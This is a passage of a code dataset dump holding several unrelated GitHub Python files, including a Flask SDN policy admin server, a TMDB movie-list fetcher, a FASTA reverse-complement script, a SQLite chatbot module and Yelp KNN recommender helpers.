blocked_dev=blocked_dev_info, net_policy= net_policy )\n\n#Allow DHCP service for this device\n@app.route('/join', methods=['post'])\n#@login_required\ndef join():\n    rule_mngmt.add_join_rules(request.form['mac'], faucet_yaml['acls']['wifi_acl'])\n\n    fm.set_faucet_yaml(faucet_yaml)\n\n    return redirect('/home')\n\n\n@app.route('/delete_policy', methods=['POST'])\n#@login_required\ndef network_policy():\n    delete_faucet_rule( int(request.form['rule_id']) )\n    fm.set_faucet_yaml(faucet_yaml)\n#   return 'Rule is deleted successfully!'\n    args={\"parag\":\"Rule is deleted successfully!\",\"link\":\"http://192.168.5.3:5000/home\", \"btn_value\":\"Home\"} \n    return render_template('done.html', args=args )\n\n\n@app.route('/new_policy', methods=['GET'])\n#@login_required\ndef new_policy():\n    args = {}\n    args['local_devs_list'] = joined_dev_info\n    args['services_dict'] = proto_trans['tp_proto']\n\n    return render_template('new_policy.html', args = args)\n\n\n@app.route('/add_policy', methods=['POST'])\n#@login_required\ndef add_policy():\n  acl_to = acl_from = faucet_yaml['acls']['wifi_acl']  \n  port_no = int(request.form['service'])\n\n  if(port_no not in proto_trans['tp_proto'].keys()):\n    args={\"parag\":\"Service is not supported.\",\n         \"link\":\"http://192.168.5.3:5000/home\", \"btn_value\":\"Home\"} \n    return render_template('done.html', args=args )\n\n  if request.form['to_entity'].lower() == servers['http_server']:\n     acl_to = faucet_yaml['acls']['port3_acl']\n\n  rule_mngmt.add_rule(request.form['from_entity'], \n         request.form['to_entity'], port_no, \n         acl_from, acl_to)\n  fm.set_faucet_yaml(faucet_yaml)\n\n  args={\"parag\":\"Rule is added successfully!\",\"link\":\"http://192.168.5.3:5000/home\", \"btn_value\":\"Home\"} \n  return render_template('done.html', args=args )\n\n\n@app.route('/reset', methods=['GET'])\n#@login_required\ndef reset_faucet_config():\n  fm.reset_faucet_config()\n  return redirect('/home')\n\n@app.route('/show_topo', methods=['GET'])\n#@login_required\ndef show_topology():\n  net_topology()\n  return render_template('home_net_topo.html')\n\n@app.route('/static/<path:path>')\n#@login_required\ndef static_files(path):\n  return send_from_directory('static',path)\n\n\n@app.errorhandler(404)\ndef not_found(error):\n    return 'Try again, error!'\n\n\ndef delete_faucet_rule(rule_id):\n\n    wifi_acl_list = faucet_yaml['acls']['wifi_acl']\n    copy_acl_list = []\n    for i in range(0, len(wifi_acl_list) ) :\n        rule = wifi_acl_list[i]['rule']\n        if rule['rule_id'] == rule_id:        \n           continue        \n        copy_acl_list.append(wifi_acl_list[i])\n\n    faucet_yaml['acls']['wifi_acl'] = copy_acl_list\n\n\n\n\ndef check_rev_rule(srcs, dsts, protos, rule):\n    # check if rule is rev of an existing one\n    is_dhcp, is_rev = rule_mngmt.is_dhcp_rule(rule)\n    for idx in range(0, len(srcs['dl_src'])):\n      if srcs['dl_src'][idx] == rule['dl_dst'] and \\\n         ( is_dhcp or dsts['dl_dst'][idx] == rule['dl_src']) and \\\n         protos['dl_type'][idx] == rule['dl_type'] and \\\n         protos['nw_proto'][idx] == rule['nw_proto'] and \\\n         srcs['tp_src'][idx] == rule['tp_dst'] and \\\n         dsts['tp_dst'][idx] == rule['tp_src']:\n         return True, idx\n    return False, -1\n\n\ndef get_faucet_policy(acl_list):\n\n   policy = []\n   srcs = {'dl_src':[], 'nw_src':[], 'tp_src':[]}\n   dsts = {'dl_dst':[],'nw_dst':[], 'tp_dst':[]}\n   protos = {'dl_type':[], 'nw_proto':[]}\n   \n   for idx in range(0, len(acl_list)):      \n       \n       rule = rule_mngmt.update_rule(acl_list[idx]['rule'])            \n \n       is_reverse, r_id = check_rev_rule(srcs,dsts,protos, rule)      \n       rule_id = idx if r_id == -1 else r_id          \n       \n       acl_list[idx]['rule']['rule_id'] = rule_id\n\n       srcs['dl_src'].append(rule['dl_src'])\n       dsts['dl_dst'].append(rule['dl_dst'])\n       srcs['tp_src'].append(rule['tp_src']) \n       dsts['tp_dst'].append(rule['tp_dst'])\n       protos['dl_type'].append(rule['dl_type'])\n       protos['nw_proto'].append(rule['nw_proto'])\n       \n       if is_reverse:\n          continue\n\n       from_host = fm.get_dev_info(rule['dl_src'], dev_info)['name']\n       to_host = fm.get_dev_info(rule['dl_dst'], dev_info)['name']\n\n       service = {'service_name': rule_mngmt.get_rule_service_name(rule), \n                  'actions': rule['actions']['allow']}\n       new_policy = {'from_mac': rule['dl_src'],\n                     'from_host': from_host,\n                     'to_mac': rule['dl_dst'],\n                     'to_host': to_host,\n                     'from_ip': rule ['nw_src'],\n                     'to_ip': rule['nw_dst'],\n                     'service': service, \n                     'idx': rule_id,\n                     'is_rev': is_reverse \n                    }\n       policy.append(new_policy)\n   return policy\n\n\n\n\n","repo_name":"alshaboti/flaskapponly","sub_path":"admin_flask_server.py","file_name":"admin_flask_server.py","file_ext":"py","file_size_in_byte":7858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8608097721","text":"from djangoplicity.customsearch.exporter import ExcelExporter\nfrom djangoplicity.customsearch.models import CustomSearch\nfrom django.conf import settings\n\nfrom celery.task import task\nfrom django.core.mail import EmailMessage\nfrom tempfile import NamedTemporaryFile\nimport os\n\n\n@task\ndef export_search(search_id, email, searchval=None, ordering=None, ordering_direction=None):\n    '''\n    Export a given search to file and email to the given address\n    '''\n    search = CustomSearch.objects.get(pk=search_id)\n\n    # Rename the / from the search name if any\n    prefix = search.name.replace('/', '-')\n\n    # Generate a temporary file\n    f = NamedTemporaryFile(prefix=prefix + '-', suffix='.xls', delete=False)\n\n    (search, qs, searchval, _error, header, _o, _ot) = search.get_results_queryset(\n            searchval=searchval,\n            ordering=ordering,\n            ordering_direction=ordering_direction)\n\n    exporter = ExcelExporter(f, header=[ (x[1], None) for x in header ])\n\n    for row in search.layout.data_table(qs):\n        exporter.writerow(row['values'])\n    exporter.save(f)\n    f.close()\n\n    # Send the export file as attachment\n    email = EmailMessage('Custom Search export ready: \"%s\"' % search.name,\n                '', settings.DEFAULT_FROM_EMAIL, [email])\n    email.attach_file(f.name)\n    email.send()\n\n    # Remove the temporary file\n    os.remove(f.name)\n","repo_name":"djangoplicity/djangoplicity-customsearch","sub_path":"djangoplicity/customsearch/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30531280238","text":"#!/usr/bin/env python3\r\nimport os\r\nimport sys\r\n\r\nif __name__ == \"__main__\" and len(sys.argv) != 3:\r\n    print('This script is designed to reverse complement of One || a file || \\',\\' separated || All DNA sequence/s')\r\n    print(\"Usage:\\n\\tpython3 \"+ sys.argv[0] + '  <DNA.fa: STR>  <seqName: STR || IdList.txt: STR || 0: INT>\\n')\r\n    print('\\tInstructions: \\n\\t\\t<seqName>\\t\\tThis is a ID, if you want only one sequence get reversed and '\r\n          'complemented\\n\\t\\t<IdList.txt>\\tThis is a file contains all of id you want to reversed and '\r\n          'complemented\\n\\t\\t<0>\\t\\t\\t\\tMeans reverse and complement all of your fasta file.')\r\n    print('\\n\\tAll <seqName> <IdList.txt> <0> are mutually exclusive.')\r\n    exit()\r\n\r\nfa = sys.argv[1]\r\nname = sys.argv[2]\r\n\r\n\r\ndef openfile(path: str):\r\n    lines = []\r\n    with open(path, 'r', encoding='utf-8') as f_open:\r\n        file_lines = f_open.read().split('\\n')\r\n    for line in file_lines:\r\n        if len(line) == 0 or '#' == line[0]:\r\n            continue\r\n        lines.append(line)\r\n    return lines\r\n\r\n\r\ndef block_cacher_v2(lines: list, separator_first: str):\r\n    file_blocks = []\r\n    block = []\r\n    for line in lines:\r\n        if len(line) == 0:\r\n            continue\r\n        if line.startswith(separator_first):\r\n            if len(block) > 0:\r\n                file_blocks.append(block)\r\n            block = [line]\r\n            continue\r\n        block.append(line)\r\n    if len(block) > 0:\r\n        file_blocks.append(block)\r\n    return file_blocks\r\n\r\n\r\ndef rcDNA(inSeq: str):\r\n    seqDick = {\r\n        'A': 'T',\r\n        'C': 'G',\r\n        'T': 'A',\r\n        'G': 'C',\r\n        'N': 'N'\r\n    }\r\n    l = [seqDick[i] for i in inSeq[::-1]]\r\n    return ''.join(l)\r\n\r\n\r\ndick = {b[0][1:]: ''.join(b[1:]) for b in block_cacher_v2(openfile(fa), '>')}\r\nwantedl = []\r\nif name != '0' and os.path.exists(name):\r\n    n = [n for n in openfile(name) if n in dick]\r\n    for k in dick:\r\n        if k not in n:\r\n            wantedl.append('>'+k+'\\n'+dick[k])\r\n        if k in n:\r\n            wantedl.append('>'+k+'_reversedComplement\\n'+rcDNA(dick[k]))\r\n    with open('.'.join(fa.split('.')[:-1])+f'.{str(len(n))}Seq.reversed.fa', 'w')as f:\r\n        f.write('\\n'.join(wantedl)+'\\n')\r\nif not os.path.exists(name) and name == '0':\r\n    for k in dick:\r\n        wantedl.append('>'+k+'_reversedComplement\\n'+rcDNA(dick[k]))\r\n    with open('.'.join(fa.split('.')[:-1])+'.all.reversed.fa', 'w')as f:\r\n        f.write('\\n'.join(wantedl)+'\\n')\r\nif not os.path.exists(name) and name != '0':\r\n    for k in dick:\r\n        if k not in name:\r\n            wantedl.append('>' + k + '\\n' + dick[k])\r\n        if k in name:\r\n            wantedl.append('>' + k + '_reversedComplement\\n' + rcDNA(dick[k]))\r\n    with open('.'.join(fa.split('.')[:-1])+f'.{name}.reversed.fa', 'w')as f:\r\n        f.write('\\n'.join(wantedl)+'\\n')\r\nelif not os.path.exists(name) and name != '0' and name not in dick:\r\n    print('Input Error Check Your Data!')\r\n","repo_name":"Toney823/YXK_Usefull_Tools","sub_path":"faRC.py","file_name":"faRC.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"37455784088","text":"#-*- coding:utf-8 -*-\nimport asyncio\nimport dc_api\nimport base64\nimport json\nfrom core import *\nfrom flask import Flask, render_template, request\nfrom bs4 import BeautifulSoup,Tag\n\nloop = asyncio.get_event_loop()\napp = Flask(__name__)\ngallerys=[]\nwith open(\"gallerys.json\", \"r\", encoding=\"utf-8\") as f:\n    gallerys = list(json.load(f).items())\nwith open(\"gallerys_miner_digital_it.json\", \"r\", encoding=\"utf-8\") as f:\n    gallerys_miner_digital_it = list(json.load(f).items())\nwith open(\"gallerys_miner_game.json\", \"r\", encoding=\"utf-8\") as f:\n    gallerys_miner_game = list(json.load(f).items())\n\n@app.route(\"/\")\ndef index():\n    global gallerys\n    global gallerys_miner_game\n    global gallerys_miner_digital_it\n    board = str(request.args.get(\"board\", \"None\"))\n    search = str(request.args.get(\"search\", \"None\"))\n    tgallerys = []\n    sgallerys = None\n\n    if \"game\" in board:\n        sgallerys = gallerys_miner_game\n    elif \"digital\" in board or \"it\" in board:\n        sgallerys = gallerys_miner_digital_it\n    else:\n        sgallerys = gallerys\n\n    if search != \"None\":\n        for item in sgallerys:\n            if search in item[0]:\n                tgallerys.append(item)\n    else:\n        tgallerys = sgallerys\n    return render_template('/index.html', gallerys=tgallerys)\n        \n# 공군갤 airforce\n# 야갤 baseball_new10\n# 싱벙갤 singlebungle1472\n# 그림갤 drawing\n@app.route('/board')\ndef board():\n    # return \"hi\"\n    page = int(request.args.get(\"page\", 1))\n    board = str(request.args.get(\"board\", \"airforce\"))\n    recommend = int(request.args.get(\"recommend\",0))\n    ret = loop.run_until_complete(async_index(page, board, recommend))\n    return render_template('/board.html', datas=ret, page=page, board=board, recommend=recommend)\n\n    \n@app.route(\"/read\")\ndef read():\n    pid = int(request.args.get(\"pid\", 0))\n    board = str(request.args.get(\"board\", \"airforce\"))\n    data, comments, images = loop.run_until_complete(async_read(pid, board))\n    # Parse soup, for image replation\n    soup=BeautifulSoup(data[\"html\"],'html.parser')\n    idx = 0\n    for i in soup.find_all(\"img\", \"lazy\"):\n        src = \"data:image/png;base64,\" + images[idx]\n        i[\"src\"] = src\n        idx += 1\n\n    data[\"html\"] = str(soup)\n    return render_template('/read.html', data=data, comments=comments, images=images, board=board)\n\n\n\nif __name__ == '__main__':\n\n    app.run(debug=True, host=\"0.0.0.0\", port=8080)\n    \n    \n\n","repo_name":"mirusu400/dcinside-web-mirror","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41344816781","text":"from Lista import datos\r\nfrom Lista import Lista_Datos\r\n\r\nlistar=Lista_Datos()\r\n\r\ndef nuevoContacto():\r\n    print(\"Ingrese nombre:\")\r\n    nombre=input(\">\")\r\n    print(\"Ingrese apellido\")\r\n    apellido=input(\">\")\r\n    print(\"Ingrese numero de telefono\")\r\n    telefono=input(\">\")\r\n    existe=listar.existe(telefono)\r\n    while existe==True:\r\n        print(\"Este numero ya existe, ingrese otro\")\r\n        print(\"Ingrese numero de telefono\")\r\n        telefono=input(\">\")\r\n        existe=listar.existe(telefono)\r\n    \r\n    nuevo=datos(nombre,apellido,telefono)\r\n    listar.agregar(nuevo)\r\n    print(\"Contacto agregado satisfactoriamente\")\r\n    print(\"\")\r\n    \r\n    \r\ndef buscarContacto():\r\n    print(\"Ingrese numero para la busqueda\")\r\n    telefono=input(\">\")\r\n    buscar=listar.buscar(telefono)\r\n    if buscar==False:\r\n        print(\"Contacto inexistente\")\r\n        print(\"¿Desea agregarlo? S/N\")\r\n        agre=input(\">\")\r\n        if agre==\"S\" or agre==\"s\":\r\n            nuevoContacto()\r\n\r\ndef agenda():\r\n    listar.mostrarAgenda()\r\n    \r\nprint(\"Bienvenido\")\r\nprint(\"Seleccione la opción a realizar:\")\r\n\r\nop=0\r\ntry:\r\n    while op!=\"4\":\r\n        \r\n            print(\"1. Ingresar nuevo contacto\")\r\n            print(\"2. Buscar Contacto\")\r\n            print(\"3. Visualizar agenda\")\r\n            print(\"4. Salir\")\r\n            op=input(\">\")\r\n            if op==\"1\":\r\n                nuevoContacto()\r\n            if op==\"2\":\r\n                buscarContacto()\r\n            if op==\"3\":\r\n                agenda()\r\n            \r\nexcept Exception:\r\n    print(\"Error\")\r\n    \r\nprint(\"Gracias, vuelve pronto\")","repo_name":"Noel1903/-IPC2-Practica2_201900822","sub_path":"Practica2.py","file_name":"Practica2.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16129171040","text":"import os\nfrom enum import Enum\n\nfrom sqlalchemy import create_engine, text\n\nDB_URL = os.getenv(\"DB_URL\", \"sqlite:///silly_bot.sqlite\")\nengine = create_engine(DB_URL, echo=True, future=True)\n\n\nclass Sender(str, Enum):\n    USER = \"USER\"\n    BOT = \"BOT\"\n\n\ndef find_greeting() -> str:\n    with engine.connect() as conn:\n        query = \"SELECT bot_replies FROM greetings ORDER BY RANDOM() LIMIT 1\"\n        result = conn.execute(text(query))\n        return result.all()[0][0]\n\n\ndef find_fallback() -> str:\n    with engine.connect() as conn:\n        query = \"SELECT bot_replies FROM fallbacks ORDER BY RANDOM() LIMIT 1\"\n        result = conn.execute(text(query))\n        return result.all()[0][0]\n\n\ndef find_reply(prompt: str) -> str:\n    with engine.connect() as conn:\n        query = \"SELECT bot_replies FROM dialogues WHERE user_says LIKE :prompt ORDER BY RANDOM() LIMIT 1\"\n        result = conn.execute(text(query), {\"prompt\": prompt.lower().strip()})\n        try:\n            return result.all()[0][0]\n        except IndexError:\n            return find_fallback()\n\n\ndef record_message(*, chat_id: str, sender: Sender, message: str) -> None:\n    with engine.connect() as conn:\n        conn.execute(\n            text(\n                \"INSERT INTO messages (chat_id, time, sender, text) VALUES (:chat_id, STRFTIME ('%s', 'now'), :sender, :text)\"\n            ),\n            [{\"chat_id\": chat_id, \"sender\": sender, \"text\": message}],\n        )\n        conn.commit()\n\n\ndef get_transcript(chat_id: str) -> list[dict]:\n    with engine.connect() as conn:\n        query = \"SELECT DATETIME(time, 'unixepoch') AS time, sender, text FROM messages WHERE chat_id = :chat_id ORDER BY time\"\n        result = conn.execute(text(query), {\"chat_id\": chat_id})\n        return result.all()\n","repo_name":"kindly-ai/assignment-platform-engineer","sub_path":"backend/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36627595121","text":"import json\nimport requests\nimport datetime\nfrom dotmap import DotMap\nfrom APICalls.config import get_config_from_json\nimport pandas as pd\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\nclass TMDBRequests():\n\n    def __init__(self):\n        self.keys = get_config_from_json('..//Keys//keys.json')\n        self.api_key = self.keys.tmdb_key.api_key\n        self.language = 'en'\n        self.debug = True\n\n        try:\n            self.manualMovies = pd.read_excel(\"..//Database//manual_movies.xlsx\",header=0)\n            self.manualIncl = self.manualMovies['inclusions'].dropna()\n            self.manualExcl = self.manualMovies['exclusions'].dropna()\n\n        except Exception as ex:\n            print(ex)\n            self.manualMovies =pd.DataFrame()\n            logging.info(\"Couldn't find manual movie files. Creating new empty one\")\n\n        try:\n            self.movie_titles = pd.read_csv(\"..//Database//movie_titles.csv\",index_col=0, escapechar='/')\n            logging.info(\"Found existing movie titles. Checking for manual and new TMDB pull data...\")\n        except Exception as ex:\n            self.movie_titles = self.createCombinedTMDB()\n            logging.info(\"Couldn't find movie_titles file. Initializing new file from latest TMDB pull\")\n\n    def getMovieGenres(self):\n        path = \"https://api.themoviedb.org/3/genre/movie/list?api_key={}&language=en-US\".format(self.api_key)\n\n        response = requests.get(path)\n        movieGenres_dict = response.json()\n        movieGenres = pd.DataFrame(movieGenres_dict['genres'])\n        return movieGenres\n\n    def getPopularMovies(self, pages):\n        popularMovies=pd.DataFrame()\n\n        logging.info(\"Extracting popular movies\")\n        for page in range (1,pages+1):\n            path = \"https://api.themoviedb.org/3/movie/popular?api_key={}&language=en-US&page={}\".format(self.api_key, page)\n            response = requests.get(path)\n            popularMovies_dict = response.json()\n            popularMovies = popularMovies.append(popularMovies_dict['results'],ignore_index=True)\n\n        foreign_lang_idx = popularMovies[popularMovies['original_language'] != 'en'].index\n        popularMovies.drop(foreign_lang_idx, inplace=True)\n\n        popularMovies['tmdbCategory'] = 'popular'\n        return popularMovies\n\n    def getNowPlayingMovies(self, pages):\n        nowPlayingMovies=pd.DataFrame()\n\n        logging.info(\"Extracting now playing movies\")\n        for page in range (1,pages+1):\n            path = \"https://api.themoviedb.org/3/movie/now_playing?api_key={}&language=en-US&page={}\".format(self.api_key, page)\n            response = requests.get(path)\n            nowPlayingMovies_dict = response.json()\n            nowPlayingMovies = nowPlayingMovies.append(nowPlayingMovies_dict['results'],ignore_index=True)\n        nowPlayingMovies['tmdbCategory'] = 'nowPlaying'\n\n        foreign_language_idx = nowPlayingMovies[nowPlayingMovies['original_language'] != 'en'].index\n        nowPlayingMovies.drop(foreign_language_idx, inplace=True)\n\n        return nowPlayingMovies\n\n    def getTopRatedMovies(self, pages):\n        topRatedMovies = pd.DataFrame()\n\n        for page in range(1, pages + 1):\n            path = \"https://api.themoviedb.org/3/movie/top_rated?api_key={}&language=en-US&page={}\".format(self.api_key,\n                                                                                                        page)\n            response = requests.get(path)\n            topRatedMovies_dict = response.json()\n            topRatedMovies = topRatedMovies.append(topRatedMovies_dict['results'], ignore_index=True)\n        topRatedMovies['tmdbCategory'] = 'topRated'\n\n        foreign_language_idx = topRatedMovies[topRatedMovies['original_language'] != 'en'].index\n        topRatedMovies.drop(foreign_language_idx, inplace=True)\n\n        return topRatedMovies\n\n    def getUpcomingMovies(self, pages):\n        upcomingMovies = pd.DataFrame()\n\n        logging.info(\"Extracting upcoming movies\")\n        for page in range(1, pages + 1):\n            path = \"https://api.themoviedb.org/3/movie/upcoming?api_key={}&language=en-US&page={}\".format(self.api_key,\n                                                                                                        page)\n            response = requests.get(path)\n            upcomingMovies_dict = response.json()\n            upcomingMovies = upcomingMovies.append(upcomingMovies_dict['results'], ignore_index=True)\n\n        foreign_lang_idx = upcomingMovies[upcomingMovies['original_language'] != 'en'].index\n        upcomingMovies.drop(foreign_lang_idx,inplace=True)\n        upcomingMovies['tmdbCategory'] = 'upcoming'\n\n        return upcomingMovies\n\n    def getUniqueTitles(self):\n        '''Add titles from manual list while checking against duplicates'''\n        logging.info(\"Getting unique titles from manual list\")\n\n        unique_from_tmdb = [title for title in self.manualIncl if title not in self.tmdbPull.title.values]\n        unique_titles = [title for title in unique_from_tmdb if title not in self.movie_titles.title.values]\n        logging.info(\"{} unique titles found in manual search\".format(len(unique_titles)))\n\n        return unique_titles\n\n    def manualAdds(self):\n\n        # get unique titles checking against current DB and against latest TMDB Pull\n        unique_titles = self.getUniqueTitles()\n\n        # get TMDB data for unique manual additions\n        manualData = pd.DataFrame()\n        for title in unique_titles:\n            try:\n                path= \"https://api.themoviedb.org/3/search/movie?api_key={}&query={}\".format(self.api_key, title)\n                response = requests.get(path)\n                response_dict = response.json()\n                manualData = manualData.append(response_dict['results'][0],ignore_index=True)\n                manualData['tmdbCategory']='manual'\n                logging.info(\"Received metadata from TMDB for {}\".format(title))\n            except Exception as ex:\n                logging.warning(\"Did not find {} on TMDB\".format(title))\n                print(ex)\n\n\n        #add manual titles with TMDB data to existing DB\n        additions = 0\n        for index, row in manualData.iterrows():\n            if self.movie_titles.empty:\n                logging.info(\"Initialize all titles first\")\n            else:\n                self.movie_titles = self.movie_titles.append(row, ignore_index=True).reset_index(drop=True)\n                additions += 1\n                logging.info(\"{} added to database from manual list\".format(row.title))\n\n\n\n        logging.info(\"{} movies added manually with TMDB Data\".format(additions))\n\n    def newTMDBAdds(self):\n        '''Check against current database for duplicates'''\n        try:\n            logging.info(\"Checking for duplicates against current database\")\n            new_adds = 0\n\n            for index, row in self.tmdbPull.iterrows():\n                if row.title not in self.movie_titles['title'].values:\n                    new_adds+=1\n                    self.movie_titles = self.movie_titles.append(row,ignore_index=False).reset_index(drop=True)\n                    logging.info(\"{} was not found in existing DB so adding it.\".format(row.title))\n            if new_adds == 0:\n                logging.info(\"No new titles found in TMDB search\")\n            else:\n                logging.info(\"Total of {} new titles found and added in TMDB search\".format(new_adds))\n            logging.info(\"Existing DB saved and updated with {} new titles and {} total titles\".format(new_adds,self.movie_titles.shape[0]))\n        except Exception as ex:\n            print(ex)\n            logging.info(\"No existing database was found. Created new file with {} titles\".format(self.movie_titles.shape[0]))\n\n    def createCombinedTMDB(self):\n        self.tmdbPull = pd.DataFrame()\n        popularMovies = self.getPopularMovies(pages=4)\n        topRatedMovies = self.getTopRatedMovies(pages=4)\n        upcomingMovies = self.getUpcomingMovies(pages=4)\n        nowPlayingMovies = self.getNowPlayingMovies(pages=4)\n        self.tmdbPull = self.tmdbPull.append([popularMovies,\n                                              topRatedMovies,\n                                              upcomingMovies,\n                                              nowPlayingMovies],\n                                             ignore_index=True)\n        self.tmdbPull.reset_index(drop=True,inplace=True)\n\n        logging.info(\"{} movies extracted from TMDB Curated Lists\".format(self.tmdbPull.shape[0]))\n        return self.tmdbPull\n\n    def dropDuplicates(self):\n        unique_df = self.movie_titles.drop_duplicates(subset=['title'], keep='first')\n        self.movie_titles = unique_df.reset_index(drop=True)\n        logging.info(\"{} remain after duplicates rationalization\".format(self.movie_titles.shape[0]))\n\n    def removeExclusions(self):\n        df = self.movie_titles\n\n        idx_drop = df[df['title'].isin(self.manualExcl)].index\n        result_df = df.drop(idx_drop, inplace = False)\n\n        self.movie_titles = result_df.reset_index(drop=True)\n        logging.info(\"{} remain after exclusions\".format(self.movie_titles.shape[0]))\n\n    def updateCategories(self):\n        df = self.movie_titles\n        curr_d = datetime.datetime.now()\n\n        for index, row in df.iterrows():\n            try:\n                rel_date = datetime.datetime.strptime(str(row.release_date),'%Y-%m-%d')\n                if rel_date > curr_d:\n                    logging.info('Updating category for {}'.format(row.title))\n                    df.at[index, 'tmdbCategory'] = 'upcoming'\n            except Exception as ex:\n                logging.info(\"One of titles did not have correct release date string\")\n                continue\n\n        self.movie_titles = df\n\n    def updateMovieTitles(self,manualList=None):\n        '''Gets data from TMDB for 4 categories - popular, top rated, upcoming and now playing and also checks with manual list\n        Combines TMDB data into master allTitles dataframe and saves to file '''\n\n        #Creates TMDB Pull list from latest search\n        self.createCombinedTMDB()\n\n        #Adding from manual data if not duplicates\n        self.manualAdds()\n\n        # Adding from new TMDB Pull data if not duplicates\n        self.newTMDBAdds()\n\n        # Remove duplicates\n        self.dropDuplicates()\n\n        #remove exclusions\n        self.removeExclusions()\n\n        # update categories for upcoming films\n        self.updateCategories()\n\n        self.movie_titles['content_type'] = \"movie\"\n        self.movie_titles.to_csv(\"..//Database//movie_titles.csv\")\n\nif __name__ == '__main__':\n    TMDB = TMDBRequests()\n    TMDB.updateMovieTitles()\n\n\n","repo_name":"tactycHQ/Gemini2","sub_path":"Application/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":10675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40977744661","text":"from flask import Flask\n\nfrom hooks.plugins.redis_backend import RedisBackend\nfrom hooks.plugins.zustand import create\n\napp = Flask(__name__)\n\nRedisBackend.use(\"localhost\", 6379)\n\nuse_bear_store = create(\n    {\n        \"bears\": \"🐻\",\n    },\n    lambda set, get: (\n        {\n            \"increase_bears\": lambda: set(\n                lambda state: {**state, \"bears\": state[\"bears\"] + \"🐻\"}\n            ),\n        }\n    ),\n)\n\nincrease_bears = use_bear_store(lambda state: state.increase_bears)\n\n\n@app.route(\"/\")\ndef get_bears():\n    increase_bears()\n    return use_bear_store(lambda state: state.bears)\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True, host=\"0.0.0.0\", port=9999)\n","repo_name":"amitassaraf/python-hooks","sub_path":"examples/hooks-in-apis/api/bears_app.py","file_name":"bears_app.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"37"}
+{"seq_id":"30995466639","text":"import tensorflow as tf\nfrom tensorflow.python.client import timeline\nfrom tensorflow.python.tools.optimize_for_inference_lib import optimize_for_inference\nimport numpy as np\nimport time\nimport argparse\nimport os\n\n\ndef run():\n    X = tf.placeholder(tf.float32, shape=(None, 1024), name=\"Placeholder_X\")\n    # dense layer\n    dense = tf.layers.dense(X, 1024, \n                            kernel_initializer=tf.glorot_uniform_initializer(),\n                            bias_initializer=tf.glorot_uniform_initializer())\n    \n\n    # Generate some dummy data\n    np.random.seed(42)\n    x_train = np.random.rand(args.batch_size, 1024).astype(np.float32)\n\n    session_conf = tf.ConfigProto(\n        intra_op_parallelism_threads=args.intra,\n        inter_op_parallelism_threads=args.inter)\n\n    with tf.Session(config=session_conf) as sess:\n        sess.run(tf.global_variables_initializer())\n        for _ in range(10):\n            s = time.time()\n            y = sess.run(dense, feed_dict={\"Placeholder_X:0\": x_train})\n            e = time.time()\n            print(f\"Time(ms): {(e-s)*1000}\")\n        print(y.shape)\n\n    \nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--batch_size\", type=int, help=\"batch size\", default=4000)\n    parser.add_argument(\"--inter\", type=int, default=0)\n    parser.add_argument(\"--intra\", type=int, default=0)\n    args = parser.parse_args()\n\n    run()\n","repo_name":"imzhuhl/ml_workloads","sub_path":"tensorflow1/test/dense.py","file_name":"dense.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16416293472","text":"# Libraries\nseed = 2023\nimport random\nimport pandas as pd\nimport numpy as np\n\nfrom surprise import KNNWithZScore, Dataset, Reader\nfrom surprise.model_selection import train_test_split\n\nfrom surprise import Dataset, Reader, KNNWithZScore\nfrom surprise.model_selection import train_test_split\n\n\ndef get_business_city(df_business, df_review_f, business_id, should_print = False):\n    try:\n        city = df_business[df_business[\"business_id\"] == business_id][\"city\"].tolist()[0]\n        business_in_city = df_business[df_business[\"city\"] == city][\"business_id\"].tolist()\n        df_city = df_review_f[df_review_f['business_id'].isin(business_in_city)]\n        df_city = df_city[[\"user_id\",\"business_id\", \"stars\"]]\n        \n        if should_print:\n            print(city)\n            print(\"Num. reviews\", df_city.shape[0])\n            print(\"-------------------\")\n        return df_city\n    except:\n        return pd.DataFrame()\n\ndef get_knn_city(df_business, df_review_f, user_id, business_id, should_print = False):\n    df_city = get_business_city(df_business, df_review_f, business_id, should_print)\n    \n    try:\n        # Load data \n        if df_city.shape[0] >= 5:\n            reader = Reader(rating_scale=(1, 5))\n            data = Dataset.load_from_df(df_city, reader)\n\n            # Split data\n            trainset, testset = train_test_split(data, test_size=0.2, random_state=seed)\n\n            knn = KNNWithZScore(k = 2, sim_options={'name': 'pearson', 'user_based':True}, random_state=seed, verbose=False)\n            knn.fit(trainset)\n            \n            return knn\n        else: \n            return None\n    except:\n        return None\n    \ndef get_user_friends(df, df_user_friends, user_id, should_print = False):\n    friends_set = df_user_friends[df_user_friends['user_id'] == user_id]\n    if friends_set.shape[0] == 0:\n        return pd.DataFrame()\n    else:\n        friends_set = friends_set[\"friends\"].tolist()[0]\n        friends_set = set(friends_set)\n\n        df_friends = df.copy()\n        df_friends = df_friends[df_friends['user_id'].isin(friends_set)]\n        \n        if should_print:\n            print(\"Friends information\")\n            print(df_friends.describe())\n            print(\"-------------------\")\n        return df_friends\n\ndef get_knn_friends(df, df_user_friends, user_id, business_id, should_print = False):\n    df_friends = get_user_friends(df, df_user_friends, user_id, should_print)  \n    \n    try:\n        # Load data \n        if df_friends.shape[0] >= 5:\n            reader = Reader(rating_scale=(1, 5))\n            data = Dataset.load_from_df(df_friends, reader)\n\n            # 